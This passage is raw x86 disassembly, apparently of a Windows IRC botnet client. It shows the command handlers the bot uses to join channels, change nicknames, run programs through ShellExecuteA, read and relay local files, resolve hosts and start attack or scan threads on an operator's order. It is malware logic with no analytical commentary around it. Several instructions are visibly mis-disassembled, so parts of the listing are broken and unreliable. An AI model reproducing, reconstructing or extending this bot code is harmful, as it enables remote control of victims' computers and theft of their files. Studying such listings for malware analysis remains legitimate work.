		jmp	short loc_410C90
; ---------------------------------------------------------------------------


loc_410CA6:				; CODE XREF: seg000:00410C8Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434630
		jmp	loc_40F6E8
; ---------------------------------------------------------------------------


loc_410CB7:				; CODE XREF: seg000:00410B54j
		push	offset unk_4345D8
		jmp	near ptr loc_410B24+1
; ---------------------------------------------------------------------------


loc_410CC1:				; CODE XREF: seg000:0040F1EDj
					; seg000:0040F204j
		push	dword ptr [ebp-90h]
		push	offset dword_436450
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1FD
		cmp	[ebp-0Ch], ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345C8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D20
		push	edi
		call	sub_415A3F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410D48
		push	edi
		call	sub_415A3F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_421060	; Sleep


loc_410D48:				; CODE XREF: seg000:00410D32j
		push	offset dword_4345A0
		call	sub_40B151
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: seg000:0040F1BFj
					; seg000:0040F1D6j
		push	dword ptr [ebp-90h]
		push	offset dword_436450
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1FD
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4158F0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410E18
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345C8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D20
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_43456C
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		push	edi
		call	sub_415A3F
		add	esp, 38h
		test	eax, eax
		jle	loc_412974
		push	edi
		call	sub_415A3F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_410E18:				; CODE XREF: seg000:00410DA1j
		push	offset dword_434524
		jmp	loc_40F6E8
; ---------------------------------------------------------------------------


loc_410E22:				; CODE XREF: seg000:0040F191j
					; seg000:0040F1A8j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_43451C
		push	eax
		call	sub_4154CD
		push	edi
		call	sub_415A3F
		add	esp, 10h


loc_410E3F:				; CODE XREF: seg000:00410EA9j
		test	eax, eax
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974


loc_410E59:				; CODE XREF: seg000:0041173Ej
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412CEC


loc_410E7D:				; CODE XREF: seg000:004125D9j
		add	esp, 0Ch
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_410E85:				; CODE XREF: seg000:0040F163j
					; seg000:0040F17Aj
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+20h]
		push	offset dword_434510
		push	eax
		call	sub_4154CD
		push	edi
		call	sub_415A3F
		add	esp, 14h
		jmp	short loc_410E3F
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: seg000:0040F135j
					; seg000:0040F14Cj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_434508
		push	eax
		call	sub_4154CD
		push	edi
		call	sub_415A3F
		add	esp, 10h
		test	eax, eax
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412CEC
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_4344D8


loc_410F0F:				; CODE XREF: seg000:00410F99j
					; seg000:00411004j ...
		call	sub_40B1C5


loc_410F14:				; CODE XREF: seg000:004122A9j
		add	esp, 18h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: seg000:0040F107j
					; seg000:0040F11Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410F4D
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_4344D0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_410F4D:				; CODE XREF: seg000:00410F36j
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412CEC
		push	esi
		push	edi
		push	offset dword_4344A0
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_410F9E:				; CODE XREF: seg000:0040F0D9j
					; seg000:0040F0F0j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	esi
		push	offset dword_425050
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412CEC
		push	esi
		push	edi
		push	offset dword_434470
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_411009:				; CODE XREF: seg000:0040F0ABj
					; seg000:0040F0C2j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	esi
		push	offset dword_434434


loc_41103B:				; CODE XREF: seg000:004118E3j
					; seg000:004118FCj ...
		call	sub_40B1C5


loc_411040:				; CODE XREF: seg000:004110A9j
		add	esp, 14h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_411048:				; CODE XREF: seg000:0040F07Dj
					; seg000:0040F094j
		push	dword ptr [ebp-90h]
		push	offset dword_436450
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1FD
		push	dword ptr [ebp+20h]
		push	offset dword_434428
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		call	sub_415A3F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_421060	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset dword_434400
		call	sub_40B151
		jmp	short loc_411040
; ---------------------------------------------------------------------------


loc_4110AB:				; CODE XREF: seg000:0040F04Fj
					; seg000:0040F066j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412974
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_434C98
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	esi
		push	edi
		push	offset dword_4343D0
		call	sub_40B1C5
		add	esp, 2Ch
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_411119:				; CODE XREF: seg000:0040F021j
					; seg000:0040F038j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412974
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	esi
		push	edi
		push	offset dword_4343A0
		call	sub_40B1C5
		jmp	loc_40FD49
; ---------------------------------------------------------------------------


loc_41116C:				; CODE XREF: seg000:0040EFF3j
					; seg000:0040F00Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D1FD
		push	eax
		push	edi
		call	sub_40B059
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434370
		push	eax
		call	sub_4154CD


loc_4111A3:				; CODE XREF: seg000:0041097Bj
		add	esp, 14h
		jmp	loc_40F795
; ---------------------------------------------------------------------------


loc_4111AB:				; CODE XREF: seg000:0040EFB3j
					; seg000:0040EFCAj
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412974
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_411248
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411230
		push	esi
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345C8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D20
		push	esi
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434338
		push	eax
		call	sub_4154CD
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_411230:				; CODE XREF: seg000:004111D8j
		lea	eax, [ebp-2C8h]
		push	offset dword_4342F4
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_411248:				; CODE XREF: seg000:004111C7j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40AD69
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	edi
		push	offset dword_4342C8
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 24h
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_41128F:				; CODE XREF: seg000:0040E9B8j
					; seg000:0040E9CFj
		push	offset aR	; "r"
		push	edi
		call	sub_415BC8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411309
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41711C
		add	esp, 0Ch


loc_4112B8:				; CODE XREF: seg000:004112E7j
		test	eax, eax
		jz	short loc_4112E9
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41711C
		add	esp, 20h
		jmp	short loc_4112B8
; ---------------------------------------------------------------------------


loc_4112E9:				; CODE XREF: seg000:004112BAj
		push	esi
		call	sub_415B20
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434290
		push	eax
		call	sub_4154CD
		add	esp, 10h
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_411309:				; CODE XREF: seg000:004112A0j
		push	edi
		push	offset dword_43425C
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_411314:				; CODE XREF: seg000:0040E98Aj
					; seg000:0040E9A1j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	offset asc_426C7C ; "\n"
		push	esi
		call	sub_415BF0
		push	esi
		call	sub_40A5CD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411354
		push	offset dword_43421C
		jmp	near ptr loc_410B24+1
; ---------------------------------------------------------------------------


loc_411354:				; CODE XREF: seg000:00411348j
		push	esi
		push	offset dword_4341F0
		jmp	loc_4124AD
; ---------------------------------------------------------------------------


loc_41135F:				; CODE XREF: seg000:0040E95Cj
					; seg000:0040E973j
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_412974
		push	eax
		call	sub_409CB1
		test	eax, eax
		pop	ecx
		jnz	short loc_411390
		push	offset unk_4341C0
		jmp	near ptr loc_410B24+1
; ---------------------------------------------------------------------------


loc_411390:				; CODE XREF: seg000:00411384j
		push	offset dword_434190
		jmp	near ptr loc_410B24+1
; ---------------------------------------------------------------------------


loc_41139A:				; CODE XREF: seg000:0040E92Ej
					; seg000:0040E945j
		push	7Fh
		lea	eax, [ebp-6F4h]
		push	edi
		push	eax
		call	sub_416D20
		mov	esi, [ebp+esi-8Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4113C9
		push	7Fh
		lea	eax, [ebp-674h]
		push	esi
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_4113C9:				; CODE XREF: seg000:004113B5j
		push	7Fh
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-6F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		mov	eax, [ebp-4]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434164
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	14h
		push	eax
		call	sub_414F79
		add	esp, 24h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	ebx
		push	eax
		push	offset sub_40AE2F
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_411467


loc_411451:				; CODE XREF: seg000:00411465j
		cmp	[ebp-568h], ebx
		jnz	loc_4124BC
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411451
; ---------------------------------------------------------------------------


loc_411467:				; CODE XREF: seg000:0041144Fj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434114
		jmp	loc_4124AD
; ---------------------------------------------------------------------------


loc_411478:				; CODE XREF: seg000:0040E900j
					; seg000:0040E917j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	loc_406394
		push	edi
		push	offset dword_4340EC
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_411493:				; CODE XREF: seg000:0040E8D2j
					; seg000:0040E8E9j
		push	14h
		lea	eax, [ebp-710h]
		push	ebx
		push	eax
		call	sub_415550
		push	edi
		lea	eax, [ebp-6FCh]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-5F8h]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4340B4
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_414F79
		add	esp, 40h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	40B6F6h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_411563


loc_41154D:				; CODE XREF: seg000:00411561j
		cmp	[ebp-568h], ebx
		jnz	loc_412834
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41154D
; ---------------------------------------------------------------------------


loc_411563:				; CODE XREF: seg000:0041154Bj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436350
		jmp	loc_412825
; ---------------------------------------------------------------------------


loc_411574:				; CODE XREF: seg000:0040E8A4j
					; seg000:0040E8BBj
		push	edi
		call	near ptr 3D0000h
		arpl	[ebp+570874C0h], ax
		push	offset dword_434084
		jmp	short loc_411592
; ---------------------------------------------------------------------------
		push	offset dword_4347C4
		call	loc_409BEC
		push	eax


loc_411592:				; CODE XREF: seg000:00411585j
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_4115AB:				; CODE XREF: seg000:0040E876j
					; seg000:0040E88Dj
		push	edi
		call	sub_415A3F
		push	eax
		call	sub_414047
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4115C8
		push	offset dword_43404C
		jmp	short loc_4115CD
; ---------------------------------------------------------------------------


loc_4115C8:				; CODE XREF: seg000:004115BFj
		push	offset dword_434004


loc_4115CD:				; CODE XREF: seg000:004115C6j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40EF8E
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_40EF8E
; ---------------------------------------------------------------------------


loc_411606:				; CODE XREF: seg000:0040E848j
					; seg000:0040E85Fj
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_413DB8
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411628
		push	offset dword_433FCC
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_411628:				; CODE XREF: seg000:0041161Cj
		push	offset dword_433F88
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_411632:				; CODE XREF: seg000:0040E81Aj
					; seg000:0040E831j
		push	edi
		call	ds:dword_43A3B8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_41166F
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_43A330	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41168A
		push	dword ptr [eax]


loc_411655:				; CODE XREF: seg000:00411688j
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_433F58
		push	eax
		call	sub_4154CD
		add	esp, 10h
		jmp	loc_40F6F7
; ---------------------------------------------------------------------------


loc_41166F:				; CODE XREF: seg000:0041163Fj
		push	edi
		call	ds:dword_43A3FC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_41168A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		jmp	short loc_411655
; ---------------------------------------------------------------------------


loc_41168A:				; CODE XREF: seg000:00411651j
					; seg000:00411678j
		push	offset dword_433F1C
		jmp	near ptr loc_410B24+1
; ---------------------------------------------------------------------------


loc_411694:				; CODE XREF: seg000:0040E7ECj
					; seg000:0040E803j
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_416D20
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_433EE4
		push	eax
		call	sub_4154CD
		add	esp, 18h
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_4116B9:				; CODE XREF: seg000:0040E7BEj
					; seg000:0040E7D5j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43A2EC	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_4116D9
		push	offset unk_433EB4
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_4116D9:				; CODE XREF: seg000:004116CDj
		push	offset unk_433E7C
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_4116E3:				; CODE XREF: seg000:0040E790j
					; seg000:0040E7A7j
		mov	al, [edi]
		mov	ds:byte_42C164,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433E44
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_4116F8:				; CODE XREF: seg000:0040E762j
					; seg000:0040E779j
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_414419
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434508
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		jmp	loc_410E59
; ---------------------------------------------------------------------------


loc_411743:				; CODE XREF: seg000:0040E734j
					; seg000:0040E74Bj
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_40D1FD
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D1FD
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412CEC
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F51C[eax]
		call	near ptr 3D0000h
		stc
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		push	edi
		mov	ds:dword_43F51C[eax], ebx
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_43F308[eax], bl
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_4117EE:				; CODE XREF: seg000:0040E706j
					; seg000:0040E71Dj
		push	edi
		push	offset aAll	; "all"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41181D
		call	sub_415142
		cmp	eax, ebx
		jle	short loc_411813
		push	eax
		push	offset dword_433DF4
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_411813:				; CODE XREF: seg000:00411806j
		push	offset dword_433DB8
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_41181D:				; CODE XREF: seg000:004117FDj
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D1FD
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_411839:				; CODE XREF: seg000:004118AAj
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D1FD
		push	esi
		call	sub_415A3F
		push	eax
		call	sub_4150B4
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_411860
		push	offset dword_433D80
		jmp	short loc_411865
; ---------------------------------------------------------------------------


loc_411860:				; CODE XREF: seg000:00411857j
		push	offset dword_433D40


loc_411865:				; CODE XREF: seg000:0041185Ej
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_411895
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_411895:				; CODE XREF: seg000:00411877j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411839
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_4118B1:				; CODE XREF: seg000:0040E6D8j
					; seg000:0040E6EFj
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	esi
		push	offset dword_425050
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	esi
		push	offset dword_433D14
		jmp	loc_41103B
; ---------------------------------------------------------------------------


loc_4118E8:				; CODE XREF: seg000:0040E6AAj
					; seg000:0040E6C1j
		push	edi
		push	offset dword_434428
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	offset dword_433CE0
		jmp	loc_41103B
; ---------------------------------------------------------------------------


loc_411901:				; CODE XREF: seg000:0040E67Cj
					; seg000:0040E693j
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	offset dword_433CAC
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_411921:				; CODE XREF: seg000:0040E64Ej
					; seg000:0040E665j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	offset dword_433C74
		jmp	loc_41103B
; ---------------------------------------------------------------------------


loc_41193A:				; CODE XREF: seg000:0040E613j
					; seg000:0040E628j
		mov	al, ds:byte_42766A
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_42766A
		jz	loc_40D1FD
		mov	ecx, edx


loc_411951:				; CODE XREF: seg000:00411959j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_411951
		cmp	al, bl
		jz	loc_40D1FD
		mov	[ebp+20h], edx


loc_411966:				; CODE XREF: seg000:00411C24j
		push	8
		call	sub_4151C1
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_4119B5
		push	ecx
		lea	eax, [ebp-2C8h]
		push	offset dword_434DC8
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 20h
		jmp	loc_411C1B
; ---------------------------------------------------------------------------


loc_4119B5:				; CODE XREF: seg000:00411980j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_427300, ebx
		mov	dword ptr [ebp-304h], 64h
		mov	dword ptr [ebp-318h], 5
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_411A26
		mov	eax, [ebp+20h]
		mov	edi, offset dword_427300
		lea	esi, [eax-0Ah]


loc_4119F0:				; CODE XREF: seg000:00411A08j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A0C
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_4119F0
		jmp	short loc_411A26
; ---------------------------------------------------------------------------


loc_411A0C:				; CODE XREF: seg000:004119FEj
